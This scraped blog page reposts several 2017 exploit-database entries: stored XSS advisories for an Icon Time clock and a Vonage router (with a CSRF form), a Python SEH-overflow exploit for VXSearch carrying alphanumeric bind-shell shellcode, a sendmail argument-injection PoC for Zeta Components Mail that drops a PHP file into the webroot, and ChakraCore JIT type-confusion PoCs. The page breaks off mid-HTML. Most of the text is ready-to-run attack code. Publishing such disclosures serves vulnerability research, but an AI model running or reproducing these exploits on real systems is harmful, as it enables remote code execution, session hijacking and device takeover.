# Exploit Title: Icon Time Systems RTC-1000 (<= v2.5.7458) Universal Time Clocks Stored XSS Vulnerability
# Date: 17-11-2017
# Vendor: http://www.icontime.com/
# Version: <= v2.5.7458
# Exploit Author: Keith Thome
# Contact: https://twitter.com/keiththome
# Website: https://www.keiththome.com/rtc-1000-vuln
# CVE: CVE-2017-16819
# Type: Remote
# Platform: Hardware
==========================================================
# Introduction
The Icon Time Systems RTC-1000 (firmware v2.5.7458 and below) Universal Time Clock device is susceptible to a stored Cross Site Scripting (XSS) vulnerability that facilitates session hijacking. Injecting a session hijacking XSS payload into the ‘First Name’ field of an employee record on the employee.html webpage results in payload execution wherever this employee's first name appears in subsequent webpages. Caveat: To exploit this vulnerability, the attacker does need valid credentials to access the device and those credentials must have permissions to change employee names.
==========================================================
# Vulnerable URL (Employee Maintenance Module)
/employee.html
# Vulnerable parameter(s)
- First Name input ID: nameFirst
# Sample payload
<script>alert("xss");</script>
==========================================================
# PROOF OF CONCEPT
- With valid credentials that has permissions to modify the employee records, access the employeelist.html page via Lists->Employees
- Click on an active employee or Show Inactive to modify an employee record.
- Click on the employee id or name to access the vulnerable employee.html page.
- In the First Name field, enter a XSS payload.
- Click Submit
- Once any user accesses a page where that employee's first name is displayed, the XSS will be executed. Ie. employeelist.html that lists all employees.
==========================================================
# Timeline
- 09/08/2017 - Vulnerability discovered.
- 09/15/2017 - Vendor informed.
- 09/19/2017 - Vendor informed.
- 09/19/2017 - Vendor acknowleged and indicated patch development underway.
- 10/24/2017 - Emailed vendor for update. No response.
- 11/17/2017 - Public Disclosure
.png.c9b8f3e9eda461da3c0e9ca5ff8c6888.png)
A group blog by Leader in
Hacker Website - Providing Professional Ethical Hacking Services
-
Entries
16114 -
Comments
7952 -
Views
863552269
About this blog
Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.
Entries in this blog
#!/usr/bin/env python
#
# Exploit Title : VXSearch v10.2.14 Local SEH Overflow
# Date : 11/16/2017
# Exploit Author : wetw0rk
# Vendor Homepage : http://www.flexense.com/
# Software link : http://www.vxsearch.com/setups/vxsearchent_setup_v10.2.14.exe
# Version : 10.2.14
# Tested on : Windows 7 (x86)
# Description : VX Search v10.2.14 suffers from a local buffer overflow. The
# following exploit will generate a bind shell on port 1337. I
# was unable to get a shell working with msfvenom shellcode so
# below is a custom alphanumeric bind shell. Greetz rezkon ;)
#
# trigger the vulnerability by :
# Tools -> Advanced options -> Proxy -> *Paste In Proxy Host Name
#
import struct
shellcode = "w00tw00t"
shellcode += (
"\x25\x4a\x4d\x4e\x55" # and eax, 0x554e4d4a
"\x25\x35\x32\x31\x2a" # and eax, 0x2a313235
"\x2d\x6a\x35\x35\x35" # sub eax, 0x3535356a
"\x2d\x65\x6a\x6a\x65" # sub eax, 0x656a6a65
"\x2d\x61\x64\x4d\x65" # sub eax, 0x654d6461
"\x50" # push eax
"\x5c" # pop esp
)
shellcode += (
"\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x4f\x4f\x4f\x4f"
"\x2d\x4f\x30\x4f\x68\x2d\x62\x2d\x62\x72\x50\x25\x4a\x4d\x4e"
"\x55\x25\x35\x32\x31\x2a\x2d\x76\x57\x57\x63\x2d\x77\x36\x39"
"\x32\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x41\x54"
"\x54\x54\x2d\x25\x54\x7a\x2d\x2d\x25\x52\x76\x36\x50\x25\x4a"
"\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x49\x35\x49\x49\x2d\x49"
"\x25\x49\x69\x2d\x64\x25\x72\x6c\x50\x25\x4a\x4d\x4e\x55\x25"
"\x35\x32\x31\x2a\x2d\x70\x33\x33\x25\x2d\x70\x25\x70\x25\x2d"
"\x4b\x6a\x56\x39\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a"
"\x2d\x79\x55\x75\x32\x2d\x79\x75\x75\x55\x2d\x79\x77\x77\x78"
"\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x25\x4a\x4a"
"\x25\x2d\x39\x5f\x4d\x34\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32"
"\x31\x2a\x2d\x4b\x57\x4b\x57\x2d\x70\x76\x4b\x79\x2d\x70\x76"
"\x78\x79\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x49"
"\x49\x49\x49\x2d\x49\x4e\x64\x49\x2d\x78\x25\x78\x25\x2d\x6f"
"\x25\x7a\x48\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d"
"\x58\x58\x38\x58\x2d\x58\x30\x32\x58\x2d\x51\x46\x2d\x47\x50"
"\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x5f\x52\x5f\x5f"
"\x2d\x5f\x25\x25\x35\x2d\x62\x39\x25\x25\x50\x25\x4a\x4d\x4e"
"\x55\x25\x35\x32\x31\x2a\x2d\x4a\x4a\x4a\x4a\x2d\x4a\x4a\x4a"
"\x4a\x2d\x79\x39\x4a\x79\x2d\x6d\x32\x4b\x68\x50\x25\x4a\x4d"
"\x4e\x55\x25\x35\x32\x31\x2a\x2d\x30\x30\x71\x30\x2d\x30\x25"
"\x71\x30\x2d\x38\x31\x51\x5f\x50\x25\x4a\x4d\x4e\x55\x25\x35"
"\x32\x31\x2a\x2d\x32\x32\x32\x32\x2d\x78\x77\x7a\x77\x50\x25"
"\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x62\x62\x62\x62\x2d"
"\x48\x57\x47\x4f\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a"
"\x2d\x76\x76\x4f\x4f\x2d\x36\x39\x5a\x5a\x50\x25\x4a\x4d\x4e"
"\x55\x25\x35\x32\x31\x2a\x2d\x61\x61\x61\x61\x2d\x4a\x61\x4a"
"\x25\x2d\x45\x77\x53\x35\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32"
"\x31\x2a\x2d\x63\x63\x63\x63\x2d\x39\x63\x63\x2d\x2d\x32\x63"
"\x7a\x25\x2d\x31\x49\x7a\x25\x50\x25\x4a\x4d\x4e\x55\x25\x35"
"\x32\x31\x2a\x2d\x72\x79\x79\x79\x2d\x25\x30\x25\x30\x2d\x25"
"\x32\x25\x55\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d"
"\x58\x58\x41\x58\x2d\x58\x58\x25\x77\x2d\x6e\x51\x32\x69\x50"
"\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x48\x77\x38\x48"
"\x2d\x4e\x76\x6e\x61\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31"
"\x2a\x2d\x41\x41\x6e\x6e\x2d\x31\x31\x30\x6e\x2d\x37\x36\x30"
"\x2d\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x38\x38"
"\x38\x38\x2d\x38\x79\x38\x25\x2d\x38\x79\x38\x25\x2d\x58\x4c"
"\x73\x25\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x61"
"\x52\x61\x52\x2d\x37\x4a\x31\x49\x50\x25\x4a\x4d\x4e\x55\x25"
"\x35\x32\x31\x2a\x2d\x4d\x47\x4d\x4d\x2d\x30\x25\x4d\x6b\x2d"
"\x36\x32\x66\x71\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a"
"\x2d\x36\x43\x43\x6c\x2d\x33\x54\x47\x25\x50\x25\x4a\x4d\x4e"
"\x55\x25\x35\x32\x31\x2a\x2d\x4c\x4c\x4c\x4c\x2d\x6e\x4c\x6e"
"\x36\x2d\x65\x67\x6f\x25\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32"
"\x31\x2a\x2d\x25\x25\x4b\x4b\x2d\x25\x25\x6f\x4b\x2d\x4e\x41"
"\x59\x2d\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x41"
"\x41\x41\x41\x2d\x52\x52\x78\x41\x2d\x6e\x6c\x70\x25\x50\x25"
"\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x30\x6c\x30\x30\x2d"
"\x30\x6c\x6c\x30\x2d\x38\x70\x79\x66\x50\x25\x4a\x4d\x4e\x55"
"\x25\x35\x32\x31\x2a\x2d\x42\x70\x70\x45\x2d\x32\x45\x70\x31"
"\x2d\x25\x4b\x49\x31\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31"
"\x2a\x2d\x25\x50\x50\x50\x2d\x25\x7a\x72\x25\x2d\x4e\x73\x61"
"\x52\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x35\x77"
"\x74\x74\x2d\x61\x78\x35\x34\x50\x25\x4a\x4d\x4e\x55\x25\x35"
"\x32\x31\x2a\x2d\x30\x30\x30\x30\x2d\x30\x30\x59\x30\x2d\x30"
"\x30\x74\x51\x2d\x6b\x36\x79\x67\x50\x25\x4a\x4d\x4e\x55\x25"
"\x35\x32\x31\x2a\x2d\x75\x38\x43\x43\x2d\x7a\x31\x43\x43\x2d"
"\x7a\x2d\x77\x79\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a"
"\x2d\x59\x59\x59\x59\x2d\x59\x59\x59\x59\x2d\x6f\x6c\x4d\x77"
"\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x45\x45\x45"
"\x45\x2d\x34\x2d\x76\x45\x2d\x37\x25\x5a\x65\x50\x25\x4a\x4d"
"\x4e\x55\x25\x35\x32\x31\x2a\x2d\x34\x34\x34\x34\x2d\x62\x34"
"\x34\x34\x2d\x6d\x56\x47\x57\x50\x25\x4a\x4d\x4e\x55\x25\x35"
"\x32\x31\x2a\x2d\x2d\x2d\x2d\x2d\x2d\x76\x2d\x2d\x76\x2d\x55"
"\x4c\x55\x7a\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d"
"\x77\x77\x77\x30\x2d\x47\x47\x79\x30\x2d\x42\x42\x39\x34\x50"
"\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x56\x75\x36\x51"
"\x2d\x42\x61\x49\x43\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31"
"\x2a\x2d\x56\x56\x31\x56\x2d\x31\x79\x31\x25\x2d\x50\x6c\x48"
"\x34\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x72\x72"
"\x72\x72\x2d\x72\x25\x38\x38\x2d\x38\x25\x25\x25\x2d\x54\x41"
"\x30\x30\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x47"
"\x47\x47\x76\x2d\x47\x47\x76\x76\x2d\x6b\x72\x6c\x5a\x50\x25"
"\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x25\x71\x25\x71\x2d"
"\x73\x42\x63\x68\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a"
"\x2d\x48\x55\x51\x51\x2d\x45\x78\x4f\x5a\x50\x25\x4a\x4d\x4e"
"\x55\x25\x35\x32\x31\x2a\x2d\x45\x45\x45\x32\x2d\x45\x45\x25"
"\x31\x2d\x76\x75\x2d\x25\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32"
"\x31\x2a\x2d\x6e\x4f\x6d\x6e\x2d\x35\x48\x5f\x5f\x50\x25\x4a"
"\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x2d\x2d\x2d\x2d\x2d\x71"
"\x2d\x2d\x71\x2d\x71\x2d\x4a\x71\x2d\x66\x65\x70\x62\x50\x25"
"\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x56\x30\x56\x30\x2d"
"\x56\x38\x25\x30\x2d\x74\x37\x25\x45\x50\x25\x4a\x4d\x4e\x55"
"\x25\x35\x32\x31\x2a\x2d\x32\x32\x32\x77\x2d\x32\x32\x32\x32"
"\x2d\x43\x41\x4a\x57\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31"
"\x2a\x2d\x63\x63\x63\x30\x2d\x79\x41\x41\x6e\x50\x25\x4a\x4d"
"\x4e\x55\x25\x35\x32\x31\x2a\x2d\x4b\x4b\x4b\x4b\x2d\x4b\x4b"
"\x25\x31\x2d\x4b\x71\x25\x32\x2d\x4f\x6e\x25\x2d\x50\x25\x4a"
"\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x37\x37\x37\x37\x2d\x6d"
"\x37\x6d\x37\x2d\x6d\x37\x6d\x37\x2d\x64\x55\x63\x58\x50\x25"
"\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x44\x6c\x6c\x6c\x2d"
"\x34\x44\x44\x6c\x2d\x30\x33\x4e\x54\x50\x25\x4a\x4d\x4e\x55"
"\x25\x35\x32\x31\x2a\x2d\x2d\x7a\x43\x2d\x2d\x48\x79\x71\x47"
"\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x41\x41\x41"
"\x41\x2d\x41\x46\x71\x25\x2d\x5a\x77\x7a\x32\x50\x25\x4a\x4d"
"\x4e\x55\x25\x35\x32\x31\x2a\x2d\x47\x47\x47\x47\x2d\x47\x6e"
"\x47\x6e\x2d\x47\x78\x6e\x78\x2d\x47\x79\x77\x79\x50\x25\x4a"
"\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x74\x38\x69\x38\x2d\x51"
"\x4a\x72\x52\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d"
"\x79\x79\x30\x79\x2d\x4d\x4d\x2d\x4d\x2d\x44\x35\x25\x41\x50"
"\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x6f\x6f\x6f\x31"
"\x2d\x74\x25\x6f\x33\x2d\x56\x32\x41\x25\x50\x25\x4a\x4d\x4e"
"\x55\x25\x35\x32\x31\x2a\x2d\x54\x54\x54\x54\x2d\x72\x72\x54"
"\x54\x2d\x79\x69\x49\x56\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32"
"\x31\x2a\x2d\x70\x70\x70\x70\x2d\x70\x25\x5a\x70\x2d\x4a\x38"
"\x36\x72\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x6d"
"\x6d\x6d\x6d\x2d\x6d\x6d\x6d\x46\x2d\x48\x76\x74\x25\x2d\x53"
"\x7a\x25\x25\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d"
"\x7a\x7a\x7a\x43\x2d\x49\x43\x25\x43\x2d\x25\x5f\x25\x30\x50"
"\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x51\x51\x51\x51"
"\x2d\x51\x51\x51\x70\x2d\x38\x51\x61\x7a\x2d\x25\x39\x70\x7a"
"\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x37\x44\x37"
"\x6c\x2d\x78\x30\x6f\x73\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32"
"\x31\x2a\x2d\x44\x25\x25\x44\x2d\x76\x25\x76\x76\x2d\x63\x6c"
"\x63\x74\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x42"
"\x47\x74\x4e\x2d\x33\x6c\x7a\x39\x50\x25\x4a\x4d\x4e\x55\x25"
"\x35\x32\x31\x2a\x2d\x7a\x30\x66\x7a\x2d\x76\x44\x4f\x49\x50"
"\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x41\x41\x41\x41"
"\x2d\x6d\x67\x33\x6c\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31"
"\x2a\x2d\x51\x51\x51\x51\x2d\x65\x71\x51\x51\x2d\x49\x76\x7a"
"\x6a\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x35\x4a"
"\x42\x35\x2d\x35\x7a\x7a\x42\x2d\x76\x7a\x73\x7a\x50\x25\x4a"
"\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x35\x25\x35\x35\x2d\x35"
"\x25\x76\x35\x2d\x35\x39\x52\x69\x50\x25\x4a\x4d\x4e\x55\x25"
"\x35\x32\x31\x2a\x2d\x74\x74\x74\x5a\x2d\x36\x5a\x74\x30\x2d"
"\x25\x32\x6a\x38\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a"
"\x2d\x75\x75\x43\x75\x2d\x43\x6f\x41\x30\x2d\x39\x64\x30\x34"
"\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x74\x2d\x58"
"\x6e\x2d\x78\x47\x35\x69\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32"
"\x31\x2a\x2d\x66\x79\x4f\x66\x2d\x48\x7a\x25\x47\x50\x25\x4a"
"\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x42\x42\x7a\x42\x2d\x33"
"\x6d\x55\x32\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d"
"\x61\x61\x61\x41\x2d\x61\x39\x64\x25\x2d\x59\x33\x7a\x34\x50"
"\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x66\x66\x66\x66"
"\x2d\x41\x41\x66\x66\x2d\x25\x33\x66\x66\x2d\x34\x25\x6d\x43"
"\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x49\x49\x32"
"\x49\x2d\x49\x59\x25\x49\x2d\x72\x74\x25\x6d\x50"
)
shellcode += "A" * 4000
egghunter = "A" * 40 # serve as NOP's
egghunter += (
"\x25\x4a\x4d\x4e\x55" # and eax, 0x554e4d4a
"\x25\x35\x32\x31\x2a" # and eax, 0x2a313235
"\x2d\x58\x58\x58\x58" # sub eax, 0x58585858
"\x2d\x58\x58\x67\x58" # sub eax, 0x58675858
"\x2d\x5a\x4f\x2d\x4f" # sub eax, 0x4f2d4f5a
"\x50" # push eax
"\x5c" # pop esp
)
egghunter += (
"%JMNU%521*-%OOO-%OOO-AzayP%JMNU%521*-r-Pr-"
"r%Pr-m7ukP%JMNU%521*-wwww-wwwA-wwA--k%FBP%"
"JMNU%521*-Jk1J-Tk1T-sp%1P%JMNU%521*-WWM6-6"
"W30-7L%%P%JMNU%521*-WNWW-W%d%-P4wTP%JMNU%5"
"21*-wt7G-zIvNP%JMNU%521*-1%uu-1%u1-84KYP"
)
offset = "A" * (23920-len(shellcode)) # offset to nSEH
nSEH = "\x74\x26\x75\x26" # JE/JNZ + 38 (decimal)
SEH = struct.pack('<L', 0x65263067) # POP,POP,RET (QtGui4.dll [asciiprint])
trigger = "A" * (40000 - (
len(offset) +
len(nSEH) +
len(SEH) +
len(egghunter) +
len(shellcode)
)
)
payload = offset + shellcode + nSEH + SEH + egghunter + trigger
print "[*] payload written to pasteme.txt"
fd = open("pasteme.txt", 'w')
fd.write(payload)
fd.close()
Vendor: Zeta Components
module: Mail, <= 1.8.1
Published: November 12nd, 2017
Reported by: Kay
CVE-2017-15806
Overview
Zeta Components are a high quality, general purpose library of loosly coupled components for development of applications based on PHP 5. An issue was discovered in the Mail package for Zeta Components. It’s possible to exploit this vulnerability to execute arbitrary shell commands on the remote server.
Detail
This vulnerability is on send method in ezcMailMtaTransport class.
In /src/transports/mta/mta_transport.php at line 73, send() method use PHP mail() method to deliver email, while PHP use sendmail as default MTA. When mail() method is called, the 5th parameter is $additionalParameters , this parameter can pass extra param to sendmail. As the code shown, it is assigned by this line:
$additionalParameters = "-f{$mail->returnPath->email}”;
If attacker assign email address like:
'kay_malwarebenchmark@outlook.com -X/var/www/html/cache/exploit.php'
and inject payload in mail body, sendmail will transfer log(-X) into /var/www/html/cache/exploit.php. The resulting file will contain the payload passed in the body of the email, that can then be accessed and run through domainname/cache/exploit.php.
To summary, it is possible if all of these conditions are true:
- you use the ezcMailMtaTransport
- your “sendmail” binary allows the -X flag to be set, which is not the case for exim4 and postfix, as they don’t support that argument
- your wwwroot is writable by the user your webserver is running at the input to use for the ezcMailAddress that is assigned to the returnPath property is not properly escaped
PoC
use Mail\mail;
$mail = new ezcMail();
$mail->returnPath = new ezcMailAddress('kay_malwarebenchmark@outlook.com -X/var/www/html/cache/exploit.php');
$mail->addTo( new ezcMailAddress('some one'));
$mail->subject = "Mail PoC Exploit";
$mail->body = new ezcMailText("<?php phpinfo(); ?>");
$transport = new ezcMailMtaTransport();
$transport->send($mail);
Remediation
Upgrade Mail to 1.8.2
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1357
function opt(a, b, v) {
if (b.length < 1)
return;
for (let i = 0; i < a.length; i++)
a[i] = v;
b[0] = 2.3023e-320;
}
The above JavaScript code is JITed as follows:
... CHECKING THE TYPE OF B ...
OP_Memset(a, v, a.length);
b[0] = 2.3023e-320;
But there's no ImplicitCallFlags checks around OP_Memset. So it fails to detect if the type of "b" was changed after the "OP_Memset" called.
The PoC shows that it can result in type confusion.
PoC:
*/
function opt(a, b, v) {
if (b.length < 1)
return;
for (let i = 0; i < a.length; i++)
a[i] = v;
b[0] = 2.3023e-320;
}
function main() {
for (let i = 0; i < 1000; i++) {
opt(new Uint8Array(100), [1.1, 2.2, 3.3], {});
}
let a = new Uint8Array(100);
let b = [1.1, 2.2, 3.3];
opt(a, b, {
valueOf: () => {
b[0] = {};
return 0;
}
});
print(b[0]);
}
main();
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1343
Here's a snippet of the method.
void Lowerer::LowerBoundCheck(IR::Instr *const instr)
{
...
if(rightOpnd->IsIntConstOpnd())
{
IntConstType newOffset;
if(!IntConstMath::Add(offset, rightOpnd->AsIntConstOpnd()->GetValue(), &newOffset)) <<--- (a)
{
offset = newOffset;
rightOpnd = nullptr;
offsetOpnd = nullptr;
}
}
...
if(!rightOpnd)
{
rightOpnd = IR::IntConstOpnd::New(offset, TyInt32, func);
}
}
At (a), it uses "IntConstMath::Add" to check integer overflow. But the size of IntConstType equals to the size of pointer, and the "offset" variable is used as a 32-bit integer. So it may fail to check integer overflow on 64-bit system.
PoC:
*/
function f() {
let arr = new Uint32Array(0x1000);
for (let i = 0; i < 0x7fffffff;) {
arr[++i] = 0x1234;
}
}
f();
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1341&desc=3
Let's start with a switch statement and its IR code for JIT.
JS:
for (let i = 0; i <; 100; i++) {
switch (i) {
case 2:
case 4:
case 6:
case 8:
case 10:
case 12:
case 14:
case 16:
case 18:
case 20:
case 22:
case 24:
case 26:
case 28:
case 30:
case 32:
case 34:
case 36:
case 38:
break;
}
}
IRs before Type Specialization:
s26.var = Ld_A s24.var - "i" #0011 Bailout: #0011 (BailOutExpectingInteger)
BrLt_A $L2, s26.var, s5.var #0070
$L9: #0070
BrGt_A $L2, s26.var, s23.var #0070
$L8: #0070
s28.var = Sub_A s26.var, 2 (0x2).i32 #0070 // Because of the minimum case is 2, subtracting 2 from i. s28 is a temporary variable.
MultiBr ..., s28.var #0070
IRs after Type Specialization:
s52(s26).i32 = Ld_A s51(s24).i32 - "i" #0011
BrLt_I4 $L2, s51(s24).i32, 2 (0x2).i32 #0070
$L9: #0070
BrGt_I4 $L2, s51(s24).i32, 38 (0x26).i32 #0070
$L8: #0070
s53(s28).i32 = Sub_I4 s51(s24).i32, 2 (0x2).i32 #0070
MultiBr ..., s53(s28).i32! #0070
MultiBr instructions' offset operand(s28 in the above) must be of type Int32. If not, type confusion will occur. The way to ensure it is to use BailOutExpectingInteger.
In the above code, "s26" is ensured to be of type Int32 by the bailout. So, the other variables affected by "s26" including the offset variable "s28" are also ensured to be of type Int32.
What I noticed is "s28.var = Sub_A s26.var, 2 (0x2).i32". If we declare a variable "j" with "i - 2", the offset variable "s28" will be replaced with "j" in the CSE phase.
JS:
for (let i = 0; i < 100; i++) {
let j = i - 2;
switch (i) {
case 2:
case 4:
case 6:
case 8:
case 10:
case 12:
case 14:
case 16:
case 18:
case 20:
case 22:
case 24:
case 26:
case 28:
case 30:
case 32:
case 34:
case 36:
case 38:
break;
}
}
IR:
Line 3: let j = i - 2;
Col 9: ^
StatementBoundary #2 #0013
s55(s28).i32 = Sub_I4 s54(s24).i32, 2 (0x2).i32 #0013
Line 4: switch (i) {
Col 9: ^
StatementBoundary #3 #001a // BailOutExpectingInteger
BrLt_I4 $L2, s54(s24).i32, 2 (0x2).i32 #0079
BrGt_I4 $L2, s54(s24).i32, 38 (0x26).i32 #0079
MultiBr ..., s55(s28).i32! #0079
The offset variable is replaced with "j" that is not ensured to be of type Int32.
CORRECTION: The bug was that it tried to ensure the type using BailOutExpectingInteger, even if "i" was not always of type Int32. It was bypassed with the CSE phase. So if we created a case where "j" couldn't be of type Int32, type confusion occurred.
JS:
for (let i = 0; i < 100; i++) {
let j = i - 2;
switch (i) {
case 2:
case 4:
case 6:
case 8:
case 10:
case 12:
case 14:
case 16:
case 18:
case 20:
case 22:
case 24:
case 26:
case 28:
case 30:
case 32:
case 34:
case 36:
case 38:
break;
}
if (i == 39)
i = 'aaaa';
}
IR:
Line 3: let j = i - 2;
Col 9: ^
StatementBoundary #2 #0013
s30[LikelyCanBeTaggedValue_Int].var = Sub_A s26[LikelyCanBeTaggedValue_Int_Number].var, 0x1000000000002.var #0013
s27[LikelyCanBeTaggedValue_Int].var = Ld_A s30[isTempLastUse][LikelyCanBeTaggedValue_Int].var! #0017
Line 4: switch (i) {
Col 9: ^
StatementBoundary #3 #001a
s63(s26).i32 = FromVar s26[LikelyCanBeTaggedValue_Int_Number].var #001a Bailout: #001a (BailOutExpectingInteger)
BrLt_I4 $L4, s63(s26).i32, 2 (0x2).i32 #0079
BrGt_I4 $L4, s63(s26).i32, 38 (0x26).i32 #0079
MultiBr ..., s27[LikelyCanBeTaggedValue_Int].var #0079
It ended up to use "j" of type Var as the offset variable.
PoC:
*/
function opt() {
for (let i = 0; i < 100; i++) {
let j = i - 2;
switch (i) {
case 2:
case 4:
case 6:
case 8:
case 10:
case 12:
case 14:
case 16:
case 18:
case 20:
case 22:
case 24:
case 26:
case 28:
case 30:
case 32:
case 34:
case 36:
case 38:
break;
}
if (i == 90) {
i = 'x';
}
}
}
function main() {
for (let i = 0; i < 100; i++) {
opt();
}
}
main();
/*
Crash Log:
RAX: 0x1
RBX: 0x7ffff7e04824 --> 0x100000000
RCX: 0x3
RDX: 0x7ffff0b20667 (loope 0x7ffff0b2066d)
RSI: 0x80000001
RDI: 0x7ffff0c182a0 --> 0x7ffff6478a10 --> 0x7ffff5986230 (<Js::DynamicObject::Finalize(bool)>: push rbp)
RBP: 0x7fffffff2130 --> 0x7fffffff21b0 --> 0x7fffffff2400 --> 0x7fffffff2480 --> 0x7fffffff24d0 --> 0x7fffffff52f0 (--> ...)
RSP: 0x7fffffff20c0 --> 0x1111015500000002
RIP: 0x7ffff0b204da (mov rdx,QWORD PTR [rdx+r13*8])
R8 : 0x0
R9 : 0x0
R10: 0x7ffff0b20400 (movabs rax,0x555555879018)
R11: 0x206
R12: 0x7fffffff5580 --> 0x7ffff0ba0000 --> 0xeb021a471b4f1a4f
R13: 0x1000000000001 << Var 1
R14: 0x1000000000003
R15: 0x7ffff0c79040 --> 0x7ffff643c050 --> 0x7ffff5521130 (<Js::RecyclableObject::Finalize(bool)>: push rbp)
EFLAGS: 0x10297 (CARRY PARITY ADJUST zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x7ffff0b204cb: cmp ecx,0x26
0x7ffff0b204ce: jg 0x7ffff0b204e1
0x7ffff0b204d0: movabs rdx,0x7ffff0b20667
=> 0x7ffff0b204da: mov rdx,QWORD PTR [rdx+r13*8]
0x7ffff0b204de: rex.W jmp rdx
We can simply think as follows.
Before the CSE phase:
Var j = ToVar(i - 2);
int32_t offset = i - 2;
jmp jump_table[offset];
After the CSE phase:
Var j = ToVar(i - 2);
jmp jump_table[j];
*/
# Exploit Title: Vonage Home Router – Stored Xss
# Date: 16/11/2017
# Exploit Author: Nu11By73
# Hardware Version: VDV-23: 115
# Software Version: 3.2.11-0.9.40
# CVE : CVE-2017-16843
NewKeyword Parameter:
1. Login to the router
2. Click advanced setup
3. Click parental controls
4. In the block these keywords text box enter: test”><script>alert(1)</script>
5. Click the add keyword button to receive the pop up.
NewDomain Parameter:
1. Login to the router
2. Click advanced setup
3. Click parental controls
4. In the block these websites text box enter: test”><script>alert(1)</script>
5. Click the add domain button to receive the pop up.
Proof of concept code:
NewDomain.html
<!—Note: The x and y values will need to be changed accordingly
<html>
<p>Authenticated Stored CSRF/XSS - Vonage Modem</p>
<form method="POST" action="http://192.168.15.1/goform/RgParentalBasic">
<input type="hidden" name="RemoveContentRule" value="0" />
<input type="hidden" name="AddContentRule" value="0" />
<input type="hidden" name="ContentRules" value="0" />
<input type="hidden" name="RuleSelect" value="0" / >
<input type="hidden" name="NewKeyword" value="" / >
<input type="hidden" name="KeywordAction" value="0" />
<input type="hidden" name="NewDomain" value="test'><script>alert(1)</script>" />
<input type="hidden" name="x" value="50" />
<input type="hidden" name="y" value="15" />
<input type="hidden" name="DomainAction" value="1" />
<input type="hidden" name="AllowedDomainAction" value="0" />
<input type="hidden" name="ParentalPassword" value="Broadcom" />
<input type="hidden" name="ParentalPasswordReEnter" value="Broadcom" />
<input type="hidden" name="AccessDuration" value="30" />
<input type="submit" title="Exploit" />
</form>
</html>
NewKeyword.html
<!—Note: The x and y values will need to be changed accordingly
<html>
<p>Authenticated Stored CSRF/XSS - Vonage Modem</p>
